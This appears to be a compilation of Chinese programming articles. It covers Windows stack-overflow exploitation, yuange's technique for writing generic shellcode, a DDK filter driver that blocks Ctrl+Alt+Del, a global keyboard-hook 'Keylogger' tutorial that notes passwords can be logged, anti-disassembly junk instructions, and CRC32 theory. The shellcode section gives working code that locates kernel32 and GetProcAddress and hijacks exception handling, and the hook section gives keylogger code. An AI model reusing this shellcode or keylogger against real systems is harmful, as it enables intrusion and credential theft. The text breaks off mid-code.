//(+2是因为:有push ebp ,否则加1就可以了。)

(*ret) = (int)shellcode; //修改main()的返回地址为shellcode的开始地
址。

}
编译运行,得到dos对话框。

现在总结一下。我们已经知道了在windows系统下如何获得一次堆栈溢出,如何计

偏移地址,以及如何编写一个shellcode以得到dos。理论上,你已经具备了利用堆

栈溢出
的能力了,下面,我们通过实战来真正掌握他。

--------------------------------------------------------------

WINDOWS的SHELLCODE编写高级技巧

作者:yuange

unix等系统因为有用户概念,所以往往溢出是使用先得到普通帐号,然后登陆后用溢出
再加载一个SHELL的办法得到ROOT权限,其系统调用又方便,所以SHELLCODE编写一般都比
较简单。但WINDOWS系统往往不提供登陆服务,所以溢出攻击的SHELLCODE往往要提供SOCKET
连接,要加载程序得到SHELL等,而WINDOWS的系统调用int2e接口又不如unix系统调用int80
规范,所以一般都使用API,而API函数地址又因为系统版本的不同而不一样,所以要编写
WINDOWS下面比较实用、通用点的SHELLCODE比较麻烦。

经过一段时间的思考,得到了WINDOWS下编写SHELLCODE的比教好的办法。
1、溢出点确定。使用溢出点附近覆盖一片一个RET指令地址的办法,这样只要知道溢出
点大致范围就可以了。
2、SHELLCODE定位。使用ESP寄存器定位,只要前面那覆盖的RET地址后面放一个JMP
ESP功能的指令地址就可以定位了。
3、RET指令地址、JMP ESP功能指令地址采用代码页里面的地址,54 C3,或者FF E4
、C3这个一个语言的WINDOWS地址固定,也很好找这个地址。

4、SHELLCODE直接使用C语言编写,方便编写、修改、调试。

5、SHELLCODE统一编码,满足应用条件对SHELLCODE字符的限制,用一段小汇编代码解
码,这样编写SHELLCODE就可以不用考虑特殊字符了。
6、通信加密,对付防火墙,实现FTP功能,实现内存直接接管WEB服务等的高级应用。

下面主要介绍介绍编写通用SHELLCODE的办法。主要SHELLCODE里面使用的API自己用
GetProcAddress定位,要使用库用LoadLibraryA加载。那这样SHELLCODE就只依靠这两个
API了。那这两个API的地址又怎么解决呢,LoadLibraryA这个API在系统库KERNEL32.DLL里
面,也可以使用GetProcAddress得到。那关键就是要找到系统库kernel32.dll和
GetProcAddress的地址了。因为一般应用程序都会加载kernel32.dll,所以解决办法就是在
内存里面找到这个系统库和API地址,所幸知道了WINDOWS的模块数据结构也就不难了,主要
是增加异常结构处理 。下面是VC6.0程序代码:

void shellcodefn()
{
int *except[3];
FARPROC procgetadd=0;
char *stradd;
int imgbase,fnbase,i,k,l;
HANDLE libhandle;
_asm {
jmp nextcall
getstradd: pop stradd
lea EDI,except
mov eax,dword ptr FS:[0]
mov dword ptr [edi+0x08],eax
mov dword ptr FS:[0],EDI
}
except[0]=0xffffffff;
except[1]=stradd-0x07;
/* 保存异常结构链和修改异常结构链,SHELLCODE接管异常 */

imgbase=0x77e00000;
/* 搜索KERNEL32.DLL 的起始其实地址 */

call getexceptretadd
}
/* 得到异常后的返回地址 */
for(;imgbase<0xbffa0000,procgetadd==0;){
imgbase+=0x10000;
/* 模块地址是64K为单位,加快速度*/
if(imgbase==0x78000000) imgbase=0xbff00000;
/* 如果到这还没有搜索到,那可能是WIN9X系统 */
if(*( WORD *)imgbase=='ZM'&& *(WORD *)
(imgbase+*(int *)(imgbase+0x3c))=='EP'){
/* 模块结构的模块头 */
fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;
k=*(int *)(fnbase+0xc)+imgbase;
if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){
/* 模块名 */
libhandle=imgbase;
/* 得到模块头地址,就是模块句柄 */
k=imgbase+*(int *)(fnbase+0x20);
for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){
if(*(int *)(imgbase+*(int *)k)=='PteG'&&*(int *)(4+imgbase+*(int *)k)=='Acor'){
/* 引出名 */
k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));
k+=*(int *)(fnbase+0x10)-1;
k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));
procgetadd=k+imgbase;
/* API地址 */
break;
}
}
}
}
}
// 搜索KERNEL32。DLL模块地址和API函数 GetProcAddress地址
// 注意这儿处理了搜索页面不在情况。

_asm{
lea edi,except
mov eax,dword ptr [edi+0x08]
mov dword ptr fs:[0],eax
}
/* 恢复异常结构链 */


if(procgetadd==0) goto die ;
/* 如果没找到GetProcAddress地址死循环 */
die: goto die ;

_asm{

getexceptretadd: pop eax
push eax
mov edi,dword ptr [stradd]
mov dword ptr [edi-0x0e],eax
ret
/* 得到异常后的返回地址,并填写到异常处理模块 */

/* 异常处理模块 */
errprogram: mov eax,dword ptr [esp+0x0c]
add eax,0xb8
mov dword ptr [eax],0x11223344 //stradd-0xe
/* 修改异常返回EIP指针 */
xor eax,eax //2
/* 不提示异常 */
ret //1
/* 异常处理返回 */
execptprogram: jmp errprogram //2 bytes stradd-7
nextcall: call getstradd //5 bytes
}
}


 

 

标题     WINDOWS中CTRL+ALT+DEL控制的实现(DDK版)    sr388(转贴)
   
关键字     DDK
   
出处     http://www.vchelp.net/
   

 

可能大家知道一些通过WINDOWS中DLL来控制的一些方法.但我要写的是使用DDK技术来实现控制,进而涉及到一些DDK编程的一些其他技术.我使用的是MICROSOFT SOFTWARE MICROSOFT WINDOWS 2000 DRIVER DEVELOPMENT KIT工具.在使用上比以前版本的DDK好用很多,但是还有一定难度.这可能需要一些驱动编程方面的知识.

例如以下一些概念:设备,虚拟驱动程序,WINDOWS中0和3环区别等等.

所谓的驱动程序无非是一些按WINDOWS中的标准运转的程序.这就需要我们知道这些标准.

当然MICRISOFT给我们提供了一些可以让我们通过学习可以使用的软件,这些软件就是WINDOWS标准的体现.学会使用这些软件也就知道WINDOWS一些内层标准了.常用的有VTOOLS,DDK,WINDRIVERS.等.其中VTOOLS和WINDRIVERS是更VISUAL和EASY化的东东.当然越VISUAL和EASY的东西功能上可能就受限制.就是说更底层的东西是不容易看见和做到的.DDK是更加底层化的开发软件.可以说基本上满足的我们的要求.但学会使用他不容易.下面就”WINDOWS中CTRL+ALT+DEL控制的实现”为例说明一下这个东东.

实际上我们要实现”WINDOWS中CTRL+ALT+DEL控制的实现”,可以使用DDK来编写键盘底层的驱动程序(过滤驱动程序).需要的文件是由DDK中SRC提供的kbfiltr.c和kbfiltr.H主文件.其他的相应文件(和编译相关的)当然也需要.

kbfiltr.H中提供一下涵数:

1.
NTSTATUS
KbFilter_AddDevice(
    IN PDRIVER_OBJECT DriverObject,
    IN PDEVICE_OBJECT BusDeviceObject
    );
这是增加设备涵数,主要是用来增加你自己需要的设备(可能需要和其他设备通讯)
NTSTATUS
KbFilter_CreateClose (
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP Irp
    );
这是在设备创建和关闭时的涵数.
NTSTATUS
KbFilter_DispatchPassThrough(
        IN PDEVICE_OBJECT DeviceObject,
        IN PIRP Irp
        );
   传输向下IRP的涵数
NTSTATUS
KbFilter_InternIoCtl (
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP Irp
    );
内部IRP传输时IO控制
NTSTATUS
KbFilter_IoCtl (
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP Irp
    );
和用户层IO控制
NTSTATUS
KbFilter_PnP (
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP Irp
    );

NTSTATUS
KbFilter_Power (
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP Irp
    );

NTSTATUS
KbFilter_InitializationRoutine(
    IN PDEVICE_OBJECT                 DeviceObject,    // InitializationContext
    IN PVOID                           SynchFuncContext,
    IN PI8042_SYNCH_READ_PORT          ReadPort,
    IN PI8042_SYNCH_WRITE_PORT         WritePort,
    OUT PBOOLEAN                       TurnTranslationOn
    );

BOOLEAN
KbFilter_IsrHook(
    PDEVICE_OBJECT         DeviceObject,               // IsrContext
    PKEYBOARD_INPUT_DATA   CurrentInput, 
    POUTPUT_PACKET         CurrentOutput,
    UCHAR                  StatusByte,
    PUCHAR                 DataByte,
    PBOOLEAN               ContinueProcessing,
    PKEYBOARD_SCAN_STATE   ScanState
    );

VOID
KbFilter_ServiceCallback(
    IN PDEVICE_OBJECT DeviceObject,
    IN PKEYBOARD_INPUT_DATA InputDataStart,
    IN PKEYBOARD_INPUT_DATA InputDataEnd,
    IN OUT PULONG InputDataConsumed
    );

VOID
KbFilter_Unload (
    IN PDRIVER_OBJECT DriverObject
    );

这其中有用的就是KbFilter_ServiceCallback()涵数(针对本例子).这个涵数提供给我们在键盘传输数据时可以截获和控制的服务.参数很简单:

IN PDEVICE_OBJECT DeviceObject设备对象.

IN PKEYBOARD_INPUT_DATA InputDataStart,数据开始包.

IN PKEYBOARD_INPUT_DATA InputDataEnd,数据终止包

在InputDataStart和InputDataEnd之间就是当前键盘输入的数据.想怎么改就怎么改拉.

设计一个算法让CTRL+ALT+DEL失效.COMPLETE!!

标题     键盘钩子    lixiaolong3456(翻译)
   
关键字     钩子
   
出处     http://www.codegure.com/
   

 


文/Anoop Thomas
这篇文章描述了怎样在MICROSOFT WINDOWS里安装键盘钩子。
钩子有两种类型——线程特殊钩子和全系统钩子。线程特殊钩子只关联特别的线程(呼叫线程拥有的任何线程)。如果你想把钩子与其他进程和线程关联在一起,你将不得不使用全系统钩子。一个钩子程序关联一个钩子,当特定事件发生时这个程序总会被呼叫。例如鼠标,当与鼠标关联的事件发生,这个钩子程序就会被呼叫。钩子通过呼叫SetWindowsHookEx(?)安装,通过呼叫UnhookWindowsHookEx(?)删除。
对线程钩子来说,钩子程序也许在一个EXE文件或在一个DLL里面。但是对全局的或系统钩子来说,钩子程序必须存在在一个DLL里面。所以我们需要创建一个DLL。
为了这样做,我们用一个唯一的起动文件在它里面建立一个Win32 DLL工程,然后修改它以适合你的需要。你最好在DLL里为安装和删除钩子写好代码。
现在,在DLL头文件里像下面一样定义函数:
#ifdef KEYDLL3_EXPORTS
#define KEYDLL3_API __declspec(dllexport)
#else
#define KEYDLL3_API __declspec(dllimport)
#endif

//This function installs the Keyboard hook:
KEYDLL3_API void installhook(HWND h);

//This function removes the previously installed hook.
KEYDLL3_API void removehook();

//hook procedure:
KEYDLL3_API LRESULT CALLBACK hookproc( int ncode,
                                       WPARAM wparam,
                                       LPARAM lparam);
对DLL里的输出函数来说,使用__declspec和dllexport关键字是一个好主意,它胜过使用一个单独的DEF文件。SetWindowsHookEx( )返回一个句柄给钩子——这个钩子是为以后从钩子链卸载钩子作准备。我们也有一个窗口句柄,我们将用它来发送消息给主要的应用程序窗口。我们首先通过使用FindWindow( )函数寻找应用程序窗口,然后使用PostMessage( )呼叫发送按键消息参数给应用程序主要的窗口,像下面的程序代码片段:
//Find application window handle
hwnd = FindWindow("#32770","Keylogger Exe");

//Send info to app Window.
PostMessage(hwnd,WM_USER+755,wparam,lparam);
在钩子程序的最后我们必须呼叫CallNextHookEx( )函数来传递参数给在下一个钩子链中安装的钩子。我极力推荐这种方法是因为如果不使用它,就会引起不可预知的系统行为和系统锁定。程序用来安装删除钩子,钩子程序如下所示:
KEYDLL3_API void installhook(HWND h)
{
  hook = NULL;
  hwnd = h;
  hook = SetWindowsHookEx( WH_KEYBOARD,
                           hookproc,
                           hinstance,
                           NULL);
  if(hook==NULL)
    MessageBox( NULL,
                "Unable to install hook",
                "Error!",
                MB_OK);
}

KEYDLL3_API void removehook()
{
  UnhookWindowsHookEx(hook);
}

KEYDLL3_API LRESULT CALLBACK hookproc( int ncode,
                                       WPARAM wparam,
                                       LPARAM lparam)
{
  if(ncode>=0)
  {
     //Find application window handle
     hwnd = FindWindow("#32770","Keylogger Exe");
     //Send info to app Window.
     PostMessage(hwnd,WM_USER+755,wparam,lparam);
  }
  //pass control to next hook.
  return ( CallNextHookEx(hook,ncode,wparam,lparam) );
}
如果在内存里有多重DLL的情况,则对不同DLL的情况的每个数据成员它们都有不同的值。但是,某些数据,例如钩子句柄,窗口句柄应该对所有情况都是相同的。这是因为所有情况都发送相同的信息给相同的应用程序窗口。对这而言,我们需要像在DLL的CPP文件中定义共享数据。像下面:
#pragma data_seg(".HOOKDATA")//Shared data among all instances.
HHOOK hook = NULL;
HWND hwnd = NULL;
#pragma data_seg()
现在,连接器必须被给出指令,以便将共享数据放置在DLL单独的空间里。为了这样做,我们使用下列代码,稍后是上面提到的代码:
//linker directive
#pragma comment(linker, "/SECTION:.HOOKDATA,RWS")
对DLL说了这么多,现在我们将来看一下Main application(EXE)。建立一个MFC应用程序(基于窗口或者基于对话框的)。为了简单起见我建立了一个基于对话框的EXE文件。创建这个项目后,到项目设置对话框通过从主菜单中选择Project>Settings,选择“Link”制表符,然后在“Object/library modules”框内显示“Keydll3.lib”,点“OK”。现在,从主菜单中选择Project>Add to project> files插入DLL头文件到工作区。选择我们早先创建的DLL的.h文件,像下面一样将它“#include”在你的项目里:
//Include this for functions in the DLL:
#include "..\Keydll3\Keydll3.h"
这个应该在主对话框类的CPP文件中。现在,在主对话框的类里,增加一个成员函数来处理DLL发送的按键消息。函数如下所示:
afx_msg LRESULT processkey(WPARAM w,LPARAM l);//declaration

LRESULT CKeyexeDlg::processkey(WPARAM w, LPARAM l)//definition
{
  //This block processes the keystroke info.
  .
  .
  .
  return 0L;
}
(这个成员在向导条里可以很容易的添加。)现在,在CPP文件中定义我们从DLL接收的消息,如下所示:
//This message is recieved when key is down/up
#define WM_KEYSTROKE (WM_USER + 755)
     现在添加新创建的成员函数作为WM_KEYSTROKE消息的句柄,使用ON_MESSAGE宏在消息映射区(在CPP文件里),像下面:
BEGIN_MESSAGE_MAP(CKeyexeDlg, CDialog)
  //{{AFX_MSG_MAP(CKeyexeDlg)
    .
    .
    .
  ON_MESSAGE(WM_KEYSTROKE, processkey)
  //}}AFX_MSG_MAP
END_MESSAGE_MAP()
我们差不多完成了。但是在编译和创建EXE文件前,给Visual studio Library路径添加路径LIB 文件(Keydll3.lib)。为了这样做,从主菜单中选择Tools>Options,然后选择“Directories”制表符。从第二个列表中选择“Library files”,在下面的框内添加DLL的LIB文件。点OK。保存所有的文件和工作区,然后创建你的项目。
要得到关于钩子的更多信息,请看MSDN的下列章节:
 SetWindowsHookEx( ),
 Hook functions,
 Virtual-key codes,
 Keystroke message flags
笔记:对WINDOWSNT\2000来说,你的密码必须通过钩子程序记入日志,如果你没有激活“Ctrl-Alt-Del”登录序列的话。(只有当接通PC时。)


标题     矛与盾的较量(1)——花指令    itaolu(原作)
   
关键字     crack,hack,加密,保护,花指令
   

有矛就有盾。
所以我们要讨论加密技术。

我们知道,所有的编译型语言,例如VC、BCB、Delphi和Win32ASM……最终都会把源代码编译成机器能识别的0和1——因此也能够反过来把这些0和1反编译成汇编代码。反编译有什么用呢?试想想,你辛辛苦苦写了一个perfect的软件出来,正准备把它卖上100万份,忽然!在市面上出现了很多仿制你的东西……hoho,不知道你会怎么想呢?反正我是会欲哭无泪的。还有另外一种情况,你的软件是用注册码的形式来授权的,每份license要卖30个美刀。呵呵,正当你在考虑着一年后是去加利福尼亚还是夏威夷度假的时候,你的软件被Crack了——也就是说,你一分钱都不会得到……(啊!我想跳楼啦!!)

所以我们要讨论如何给自己的程序加密。这次就先说说最简单的花指令。

在解释这个“花指令”之前,不妨先做几个小小的实验。

我们先来写一个程序,命名为hua.asm,内容如下:

 
;***************************************************************
;花指令实验1
;作者:罗聪
;日期:2002-8-21
;***************************************************************
.386
.model flat, stdcall
option casemap:none

include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib

.data
szText        db    "嘿嘿,这是一个花指令程序……", 0
szCaption    db    "花指令演示 by LC 2002-8-21", 0

.code
main:
    jmp Do_It
Do_It:
    invoke MessageBox, NULL, addr szText, addr szCaption, MB_OK
    invoke ExitProcess, 0
end main


然后用W32Dasm v10来反编译它,得到的结果如下:(由于篇幅所限,这里只列出关键部分)


 
+++++++++++++++++++ ASSEMBLY CODE LISTING ++++++++++++++++++
//********************** Start of Code in Object .text **************
Program Entry Point = 00401000 (hua.exe File Offset:00001600)



//******************** Program Entry Point ********
:00401000 EB00                    jmp 00401002

* Referenced by a (U)nconditional or ?onditional Jump at Address:
|:00401000(U)
|
:00401002 6A00                    push 00000000

* Possible StringData Ref from Data Obj ->"花指令演示 by LC 2002-8-21"
                                  |
:00401004 681F304000              push 0040301F

* Possible StringData Ref from Data Obj ->"嘿嘿,这是一个花指令程序……"
                                  |
:00401009 6800304000              push 00403000
:0040100E 6A00                    push 00000000

* Reference To: USER32.MessageBoxA, Ord:01BBh
                                  |
:00401010 E80D000000              Call 00401022
:00401015 6A00                    push 00000000

* Reference To: KERNEL32.ExitProcess, Ord:0075h
                                  |
:00401017 E800000000              Call 0040101C
 


哇,好夸张啊!你可能会说。反编译出来的代码几乎是跟源代码一一对应的,这样一来?我们的程序还有什么秘密可言呢?完全可以从反编译的结果中理解程序的功能。

而且我们还可以在W32Dasm的“String Data References”中得到:
 
"嘿嘿,这个是一个花指令程序……"
"花指令演示 by LC 2002-8-21"
 


把刚才的源程序稍做修改,来做第二个实验:


 
;***************************************************************
;花指令实验2
;作者:罗聪
;日期:2002-8-21
;***************************************************************
.386
.model flat, stdcall
option casemap:none

include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib

.data
szText        db    "嘿嘿,这是一个花指令程序……", 0
szCaption    db    "花指令演示 by LC 2002-8-21", 0

.code
main:
    jz Do_It    ;注意这里和第一个实验中的源程序的区别
    jnz Do_It    ;注意这里和第一个实验中的源程序的区别
Do_It:
    invoke MessageBox, NULL, addr szText, addr szCaption, MB_OK
end main
 


用W32Dasm反编译一下:

 
+++++++++++++++++++ ASSEMBLY CODE LISTING ++++++++++++++++++
//********************** Start of Code in Object .text **************
Program Entry Point = 00401000 (hua.exe File Offset:00001600)



//******************** Program Entry Point ********
:00401000 7402                    je 00401004
:00401002 7500                    jne 00401004

* Referenced by a (U)nconditional or ?onditional Jump at Addresses:
|:00401000?, :00401002?
|
:00401004 6A00                    push 00000000

* Possible StringData Ref from Data Obj ->"花指令演示 by LC 2002-8-21"
                                  |
:00401006 681F304000              push 0040301F

* Possible StringData Ref from Data Obj ->"嘿嘿,这是一个花指令程序……"
                                  |
:0040100B 6800304000              push 00403000
:00401010 6A00                    push 00000000

* Reference To: USER32.MessageBoxA, Ord:01BBh
                                  |
:00401012 E801000000              Call 00401018
 


可以看出,这时的W32Dasm反编译出来的汇编指令还是正确的。但是W32Dasm其实已经逐渐落入我们设下的“陷阱”了。

下面我们来做第三个实验,把源程序改成:

 
;***************************************************************
;花指令实验3
;作者:罗聪
;日期:2002-8-21
;***************************************************************
.386
.model flat, stdcall
option casemap:none

include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib

.data
szText        db    "嘿嘿,这是一个花指令程序……", 0
szCaption    db    "花指令演示 by LC 2002-8-21", 0

.code
main:
    jz Do_It    ;注意这里和第一个实验中的源程序的区别
    jnz Do_It    ;注意这里和第一个实验中的源程序的区别
    db 0E8h        ;注意这里和第二个实验中的源程序的区别
Do_It:
    invoke MessageBox, NULL, addr szText, addr szCaption, MB_OK
    invoke ExitProcess, 0
end main
 


我们来看看W32Dasm中反编译出来的东西:

 
+++++++++++++++++++ ASSEMBLY CODE LISTING ++++++++++++++++++
//********************** Start of Code in Object .text **************
Program Entry Point = 00401000 (hua.exe File Offset:00001600)



//******************** Program Entry Point ********
:00401000 7403                    je 00401005
:00401002 7501                    jne 00401005
:00401004 E86A00681D              call 1DA81073
:00401009 304000                  xor byte ptr [eax+00], al

* Possible StringData Ref from Data Obj ->"嘿嘿,这是一个花指令程序……"
                                  |
:0040100C 6800304000              push 00403000
:00401011 6A00                    push 00000000

* Reference To: USER32.MessageBoxA, Ord:01BBh
                                  |
:00401013 E80E000000              Call 00401026
:00401018 6A00                    push 00000000

* Reference To: KERNEL32.ExitProcess, Ord:0075h
                                  |
:0040101A E801000000              Call 00401020
 


呵呵,很明显了,这时的 00401004 到 00401009 行出错了,而且这时查看“String Data References”,也只剩下了:
 
"嘿嘿,这是一个花指令程序……"


让我们进一步隐藏信息,做第四个实验:

 
;***************************************************************
;花指令实验4
;作者:罗聪
;日期:2002-8-21
;***************************************************************
.386
.model flat, stdcall
option casemap:none

include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib

.data
szText        db    "嘿嘿,这是一个花指令程序……", 0
szCaption    db    "花指令演示 by LC 2002-8-21", 0

.code
main:
    jz Do_It    ;注意这里和第一个实验中的源程序的区别
    jnz Do_It    ;注意这里和第一个实验中的源程序的区别
    db 0E8h        ;注意这里和第二个实验中的源程序的区别
Do_It:
    lea eax, szText        ;注意这里和第三个实验中的源程序的区别
    lea ebx, szCaption    ;注意这里和第三个实验中的源程序的区别
    invoke MessageBox, NULL, eax, ebx, MB_OK    ;注意这里和第三个实验中的源程序的区别
    invoke ExitProcess, 0
end main
 


编译,再用W32Dasm反编译,得到的是:

 
+++++++++++++++++++ ASSEMBLY CODE LISTING ++++++++++++++++++
//********************** Start of Code in Object .text **************
Program Entry Point = 00401000 (hua.exe File Offset:00001600)



//******************** Program Entry Point ********
:00401000 7403                    je 00401005
:00401002 7501                    jne 00401005
:00401004 E88D050030              call 30401596
:00401009 40                      inc eax
:0040100A 008D1D1D3040            add byte ptr [ebp+40301D1D], cl
:00401010 006A00                  add byte ptr [edx+00], ch
:00401013 53                      push ebx
:00401014 50                      push eax
:00401015 6A00                    push 00000000

* Reference To: USER32.MessageBoxA, Ord:01BBh
                                  |
:00401017 E80E000000              Call 0040102A
:0040101C 6A00                    push 00000000

* Reference To: KERNEL32.ExitProcess, Ord:0075h
                                  |
:0040101E E801000000              Call 00401024
 



呵呵,这次不但面目全非了,而且“String Data References”按钮已经变成了灰色。什么蛛丝马迹都没有了。

各位看官看到这里明白了吗?其实花指令就是人为地构造一些“陷阱”和一些无用的字节。例如第二个实验中的:

jz Do_It
jnz Do_It

其实这个跟 jmp Do_It 还不是一样吗?(呵呵,如果在大学的期末考试里这样写,一定会被判不及格……)

是的,其实程序原有的功能和逻辑还是一样的,我们只不过是换了一种表现形式而已。然而,反编译工具是没有人脑那么智能的,它们往往就会把这些指令理解错,从而错误地确定了指令的起始位置。

要实现这种绝对跳转的功能,还可以用很多的方法,例如:

Push Do_It
ret


花指令是很容易理解的,不过大家要注意适时而用,不要滥用啊,能起到迷惑破解者和隐藏信息的作用就行了,不然将来要维护代码时,我怕被迷惑的反而是你自己哦,呵呵……

 

(文章来源 & 更多我的原创文章:http://laoluoc.yeah.net/


标题     矛与盾的较量(2)——CRC原理篇    itaolu(原作)
   
关键字     crack,hack,加密,保护,花指令
   

 
下载本节例子程序 (4.29 KB)


(特别感谢汇编高手 dREAMtHEATER 对我的代码作出了相当好的优化!请参观他的主页

上一节我们介绍了花指令,不过花指令毕竟是一种很简单的东西,基本上入了门的Cracker都可以对付得了。所以,我们很有必要给自己的软件加上更好的保护。CRC校验就是其中的一种不错的方法。

CRC是什么东西呢?其实我们大家都不应该会对它陌生,回忆一下?你用过RAR和ZIP等压缩软件吗?它们是不是常常会给你一个恼人的“CRC校验错误”信息呢?我想你应该明白了吧,CRC就是块数据的计算值,它的全称是“Cyclic Redundancy Check”,中文名是“循环冗余码”,“CRC校验”就是“循环冗余校验”。(哇,真拗口,希望大家不要当我是唐僧,呵呵。^_^)

CRC有什么用呢?它的应用范围很广泛,最常见的就是在网络传输中进行信息的校对。其实我们大可以把它应用到软件保护中去,因为它的计算是非常非常非常严格的。严格到什么程度呢?你的程序只要被改动了一个字节(甚至只是大小写的改动),它的值就会跟原来的不同。Hoho,是不是很厉害呢?所以只要给你的“原”程序计算好CRC值,储存在某个地方,然后在程序中随机地再对文件进行CRC校验,接着跟第一次生成并保存好的CRC值进行比较,如果相等的话就说明你的程序没有被修改/破解过,如果不等的话,那么很可能你的程序遭到了病毒的感染,或者被Cracker用16进制工具暴力破解过了。

废话说完了,我们先来看看CRC的原理。
(由于CRC实现起来有一定的难度,所以具体怎样用它来保护文件,留待下一节再讲。)

首先看两个式子:
式一:9 / 3 = 3          (余数 = 0)
式二:(9 + 2 ) / 3 = 3   (余数 = 2)

在小学里我们就知道,除法运算就是将被减数重复地减去除数X次,然后留下余数。
所以上面的两个式子可以用二进制计算为:(什么?你不会二进制计算?我倒~~~)

式一:
1001        --> 9
0011    -   --> 3
---------
0110        --> 6
0011    -   --> 3
---------
0011        --> 3
0011    -   --> 3
---------
0000        --> 0,余数
一共减了3次,所以商是3,而最后一次减出来的结果是0,所以余数为0

式二:
1011        --> 11
0011    -   --> 3
---------
1000        --> 8
0011    -   --> 3
---------
0101        --> 5
0011    -   --> 3
---------
0010        --> 2,余数
一共减了3次,所以商是3,而最后一次减出来的结果是2,所以余数为2

看明白了吧?很好,let’s go on!

二进制减法运算的规则是,如果遇到0-1的情况,那么要从高位借1,就变成了(10+0)-1=1
CRC运算有什么不同呢?让我们看下面的例子:

这次用式子30 / 9,不过请读者注意最后的余数:

11110        --> 30
1001    -    --> 9
---------
 1100        --> 12    (很奇怪吧?为什么不是21呢?)
 1001   -    --> 9
 --------
  101        --> 3,余数 --> the CRC!

这个式子的计算过程是不是很奇怪呢?它不是直接减的,而是用XOR的方式来运算(程序员应该都很熟悉XOR吧),最后得到一个余数。

对啦,这个就是CRC的运算方法,明白了吗?CRC的本质是进行XOR运算,运算的过程我们不用管它,因为运算过程对最后的结果没有意义;我们真正感兴趣的只是最终得到的余数,这个余数就是CRC值。

进行一个CRC运算我们需要选择一个除数,这个除数我们叫它为“poly”,宽度W就是最高位的位置,所以我刚才举的例子中的除数9,这个poly 1001的W是3,而不是4,注意最高位总是1。(别问为什么,这个是规定)

如果我们想计算一个位串的CRC码,我们想确定每一个位都被处理过,因此,我们要在目标位串后面加上W个0位。现在让我们根据CRC的规范来改写一下上面的例子:

Poly                    =    1001,宽度W = 3
位串Bitstring           =    11110
Bitstring + W zeroes    =    11110 + 000 = 11110000

11110000
1001||||    -
-------------
 1100|||
 1001|||    -
 ------------
  1010||
  1001||    -
  -----------
   0110|
   0000|    -
   ----------
    1100
    1001    -
    ---------
     101        --> 3,余数 --> the CRC!

还有两点重要声明如下:
1、只有当Bitstring的最高位为1,我们才将它与poly进行XOR运算,否则我们只是将Bitstring左移一位。
2、XOR运算的结果就是被操作位串Bitstring与poly的低W位进行XOR运算,因为最高位总为0。

呵呵,是不是有点头晕脑胀的感觉了?看不懂的话,再从头看一遍,其实是很好理解的。(就是一个XOR运算嘛!)


好啦,原理介绍到这里,下面我讲讲具体怎么编程。

由于速度的关系,CRC的实现主要是通过查表法,对于CRC-16和CRC-32,各自有一个现成的表,大家可以直接引入到程序中使用。(由于这两个表太长,在这里不列出来了,请读者自行在网络上查找,很容易找到的。)

如果我们没有这个表怎么办呢?或者你跟我一样,懒得自己输入?不用急,我们可以“自己动手,丰衣足食”。
你可能会说,自己编程来生成这个表,会不会太慢了?其实大可不必担心,因为我们是在汇编代码的级别进行运算的,而这个表只有区区256个双字,根本影响不了速度。

这个表的C语言描述如下:
for (i = 0; i < 256; i++)
{
    crc = i;
    for (j = 0; j < 8; j++)
    {
        if (crc & 1)
            crc = (crc >> 1) ^ 0xEDB88320;
        else
            crc >>= 1;
    }
    crc32tbl[i] = crc;
}

生成表之后,就可以进行运算了。
我们的算法如下:
1、将寄存器向右边移动一个字节。
2、将刚移出的那个字节与我们的字符串中的新字节进行XOR运算,得出一个指向值表table[0..255]的索引。
3、将索引所指的表值与寄存器做XOR运算。
4、如果数据没有全部处理完,则跳到步骤1。

这个算法的C语言描述如下:
    temp = (oldcrc ^ abyte) & 0x000000FF;
    crc  = (( oldcrc >> 8) & 0x00FFFFFF) ^ crc32tbl[temp];
    return crc;

好啦,所有的东东都说完啦,最后献上一个完整的Win32Asm例子,请读者仔细研究吧!
(汇编方面的CRC-32资料极少啊,我个人认为下面给出的是很宝贵的资料。)


;***********************************************************************************************
;程序名称:演示CRC32原理
;作者:罗聪
;日期:2002-8-24
;出处:http://laoluoc.yeah.net(老罗的缤纷天地)
;注意事项:如欲转载,请保持本程序的完整,并注明:转载自“老罗的缤纷天地”(http://laoluoc.yeah.net)
;
;特别感谢Win32ASM高手—— dREAMtHEATER 为我的代码作了相当好的优化!
;请各位前去 http://NoteXPad.yeah.net 下载他的小巧的“cool 记事本”—— NoteXPad 来试用!(100% Win32ASM 编写)
;
;***********************************************************************************************

.386
.model flat, stdcall
option casemap:none

include windows.inc
include kernel32.inc
include user32.inc
includelib kernel32.lib
includelib user32.lib

WndProc            proto :DWORD, :DWORD, :DWORD, :DWORD
init_crc32table    proto
arraycrc32         proto

.const
IDC_BUTTON_OPEN        equ    3000
IDC_EDIT_INPUT         equ    3001

.data
szDlgName         db    "lc_dialog", 0
szTitle           db    "CRC demo by LC", 0
szTemplate        db    "字符串 ""%s"" 的 CRC32 值是:%X", 0
crc32tbl          dd    256 dup(0)    ;CRC-32 table
szBuffer          db    255 dup(0)

.data?
szText            db    300 dup(?)

.code
main:
    invoke GetModuleHandle, NULL
    invoke DialogBoxParam, eax, offset szDlgName, 0, WndProc, 0
    invoke ExitProcess, eax

WndProc proc uses ebx hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM

    .if uMsg == WM_CLOSE
        invoke EndDialog, hWnd, 0
        
    .elseif uMsg == WM_COMMAND
        mov eax,wParam
        mov edx,eax
        shr edx,16
        movzx eax, ax
        .if edx == BN_CLICKED
            .IF eax == IDCANCEL
                invoke EndDialog, hWnd, NULL
